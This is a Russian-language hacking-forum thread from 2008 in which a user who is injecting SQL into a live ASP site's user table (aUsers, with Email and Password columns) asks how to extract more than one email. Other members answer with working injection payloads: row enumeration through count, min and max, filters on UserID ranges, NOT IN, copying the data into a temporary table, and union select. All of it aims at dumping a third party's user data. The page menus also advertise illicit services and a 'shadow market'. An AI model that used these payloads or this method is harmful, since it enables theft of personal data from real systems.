FORUMS
MEMBERS
RECENT POSTS
LOG IN
Search Forums
Featured Threads Archive
Recent Posts
Notable Members
Registered Members
Current Visitors
Recent Activity
New Profile Posts
×
Авторизация
Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Продолжить через Telegram
Продолжить через Google
Другие способы входа
⌄
Продолжить через GitHub
Или войдите по логину и паролю
Имя пользователя:
Пароль:
Запомнить меня
Нет аккаунта?
Обычная регистрация
ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК
УСТРАНЕНИЕ КОНКУРЕНТОВ.
БЛОКИРОВКА ДОМЕНОВ,
БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ.
ПРОВЕРЕННЫЙ СЕЛЛЕР.
НОВЫЕ
ТОРГОВАЯ
НОВОСТИ
loading...
Скрыть
ANTICHAT
>
БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ
>
Уязвимости
Чтение данных с MsSql
Поиск по форуму
Расширенный поиск
Опции темы
Поиск в этой теме
Опции просмотра
Чтение данных с MsSql
#
1
25.02.2008, 14:15
constanta
Познающий
Регистрация: 19.09.2007
Сообщений: 38
С нами:
9813214
Репутация:
2
Чтение данных с MsSql
Уважаемые Гуру, начал изучать не так давно mssql и столкнулся на одном, очень интересном для меня, ресурсе вот с такой бедой :
Прочитал из базы все таблицы и имена всех колонок из интересующих меня таблиц.
В результате имеем таблицу
aUsers
и колонки в ней
Email
EventUser
LastLogon
LogOns
Name
Notes
Password
UserID
UserName
Попробывал прочитать интересующую меня колонку
Emai вот таким способом
Цитата:
1+or+1=(SELECT+TOP+1+email+from+aUsers)
Получил
Цитата:
ADODB.Parameter error '800a0d5d'
Application uses a value of the wrong type for the current operation.
/duich/events/List.asp, line 185
Перестроил запрос на вот так
Цитата:
1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')
Получил 1 мыло. Дальше пытался в конце добавить +
where+userid=
{какое то значение}
получил синтаксическую ошибку. Я так понимаю что 2 раза where не катит. Хорошо сделал вот так
Цитата:
1+or+1=(SELECT+max(email)+from+aUsers)
Получал опять какое то мыло.
ВОПРОС!!! КАк можно просмотреть дальше список емайлов если
Цитата:
1+or+1=(SELECT+TOP+1+email+from+aUsers)
не работает.
Прошу прощения что так длинно все это описал. Хотел просто что бы вы видели мои действия.
З.Ы Хочу выразить отдельную благодарность Cash за его статью про MsSql. Спасибо огромное!!!!
𝕏 Twitter
Reddit
Telegram
Копировать ссылку
Последний раз редактировалось constanta; 25.02.2008 в
14:23
..
constanta
Посмотреть профиль
Репутация
Найти все сообщения от constanta
Добавить в друзья
#
2
25.02.2008, 14:24
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
<>
not in
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
blackybr
Посмотреть профиль
Репутация
Отправить личное сообщение для blackybr
Найти все сообщения от blackybr
Добавить в друзья
#
3
25.02.2008, 14:26
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами:
10248806
Репутация:
2371
SELECT ROW_NUMBER() OVER (ORDER BY email DESC) AS Row
WHERE Row >=1 AND Row <3
Перебирать...
Isis
Посмотреть профиль
Репутация
Отправить личное сообщение для Isis
Посетить домашнюю страницу Isis
Найти все сообщения от Isis
Добавить в друзья
#
4
25.02.2008, 15:45
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами:
10459106
Репутация:
2996
Цитата:
<>
not in
удачи тебе слить так базу хотя бы в 5к =))
Цитата:
SELECT ROW_NUMBER() OVER (ORDER BY email DESC) AS Row
WHERE Row >=1 AND Row <3
Перебирать что??? будут выводить номера строк... я тебе из и так могу 1,2,3,4,5,6...
Не уверен что данная конструкция будет работать в иньекции.
Для начала
Определяем общее число записей.
Цитата:
1+or+1=(SELECT+count(*) +from+aUsers)--
далее определяем числовые приделы индексации, тоесть минимальный и максимальный
UserID
Цитата:
1+or+1=(SELECT+min(UserID) +from+aUsers)--
1+or+1=(SELECT+max(UserID) +from+aUsers)--
Далее оперевщись на эти данные выводим те промежутки которые нам надо:
Цитата:
1+or+1=(SELECT+TOP+1+email+from+aUsers+where+UserI D=>100)
1+or+1=(SELECT+TOP+1+email+from+aUsers+where+UserI D=<200)
Смотрим есть ли вывод, и делаем запросы уже на конкретные UserID.
Если нету числового поля идущего по примеру $i=1; $i++; то просто создаем таблицу и инстертим туда что нам надо делая при этом такую индексацию id которая нас бы устроила.
guest3297
Посмотреть профиль
Репутация
Найти все сообщения от guest3297
Добавить в друзья
#
5
25.02.2008, 16:01
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
[ cash ]
Цитата:
<>
not in
Цитата:
удачи тебе слить так базу хотя бы в 5к =))
ну да, конечно, уему удобней создать новую таблицу)))
Цитата:
1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')
Получил 1 мыло. Дальше пытался в конце добавить + where+userid={какое то значение}
два where нигде не поддерживается
select blabla from blabla where q='1' and w='1' and ..
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
blackybr
Посмотреть профиль
Репутация
Отправить личное сообщение для blackybr
Найти все сообщения от blackybr
Добавить в друзья
#
6
25.02.2008, 20:05
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
тоже считаю, что удобнее создать табличку с индексами, запихнуть туда нужные значения и вытаскивать их примерно как то так:
CREATE TABLE temp (
id INT( 6 ) NOT NULL AUTO_INCREMENT ,
email VARCHAR( 255 ) NOT NULL ,
INDEX ( id )
); insert temp (email) select email from aUsers;
сталкивался с такой проблеммой, один раз ооочень помогла конструкция union select но возможность использования этой конструкции зависит от везения
__________________
Карфаген должен быть разрушен...
Scipio
Посмотреть профиль
Репутация
Отправить личное сообщение для Scipio
Посетить домашнюю страницу Scipio
Найти все сообщения от Scipio
Добавить в друзья
Предыдущая тема
Следующая тема
Здесь присутствуют: 1
(пользователей: 0 , гостей: 1)
Опции темы
Версия для печати
Отправить по электронной почте
Опции просмотра
Линейный вид
Комбинированный вид
Древовидный вид
Поиск в этой теме
Расширенный поиск
Оценка этой темы
Вы уже оценили эту тему
Быстрый переход
Мой кабинет
Личные сообщения
Подписки
Кто на форуме
Поиск по форуму
Главная страница форума
ИНФО
Мировые новости. Обсуждения.
Статьи
Избранное
РАЗРАБОТКА
Ваши проекты
SЕО - тонкости, методы раскрутки
Услуги, Покупка и Продажа в SEO
Хостинги - Hostings
Хостинг, Dedicated, VDS, Сервера - покупка, продажа
Для Администратора
Apple: Mac, OS X, iOS
AntiDDos - АнтиДДОС
Windows
Linux, Freebsd, *nix
ПРОГРАММИРОВАНИЕ
Общие вопросы программирования
ПО для Web разработчика
PHP
Python
С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Реверсинг
ТЕХНОЛОГИИ И AI
Искусственный интеллект (AI)
Нейросети и промптинг
AI автоматизация
Разработка AI-агентов
Технологические новости
Стартапы, бизнес и инвестиции
Программирование с AI
ФИНАНСОВЫЕ ЗАДАЧИ/СОЦИАЛЬНЫЕ СЕТИ
Покупка, Продажа, Обмен
Разное - Покупка, продажа, обмен
Услуги, Покупка и Продажа в SEO
Электронные валюты: Обмен, Вывод, Ввод
VPN, Proxy, Socks - Покупка, продажа
Хостинг, Dedicated, VDS, Сервера - Покупка, продажа
Мобильная связь, СМС - Покупка, продажа
Трафик, инсталлы, загрузки - Покупка, продажа
Покупка, продажа, услуги в Соц. Сетях
Партнерки
Freelance - О Работе
Предложения работы, услуг
Социальные сети
Покупка, продажа, услуги в Соц. Сетях
Платежные системы
Электронные валюты: Обмен, Вывод, Ввод
Blockchain, Криптовалюты, смарт-контракты
ТЕНЕВОЙ РЫНОК
Пробив информации
Карты, кошельки, биржи
Документы готовые и под заказ
Способы и схемы заработка
Арбитраж трафика
Барахолка
ОФФТОП
Болталка
Forum for discussion of ANTICHAT
Video.Antichat
Комментарии к видео
Архив
ICQ - Покупка, продажа
Home
Contact Us
Help
Terms and Rules
Privacy Policy
ANTICHAT ™ © 2001- Antichat Kft.